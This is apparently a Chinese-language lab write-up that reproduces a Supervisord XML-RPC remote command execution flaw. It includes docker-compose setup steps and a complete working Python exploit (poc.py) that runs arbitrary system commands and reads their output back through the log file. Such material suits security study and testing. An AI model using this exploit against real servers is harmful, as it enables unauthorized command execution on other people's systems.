docker-compose build
docker-compose up -d
环境启动后,访问https://your-ip:9001
即可查看Supervisord的页面。
直接执行任意命令:
POST /RPC2 HTTP/1.1

@Ricter 在微博上提出的一个思路,甚是有效,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。
写了个简单的POC: poc.py,直接贴出来吧:
#!/usr/bin/env python3
import xmlrpc.client
import sys
target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)
logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)
print(result[len(old):])
使用Python3执行并获取结果:./poc.py "https://your-ip:9001/RPC2" "command"
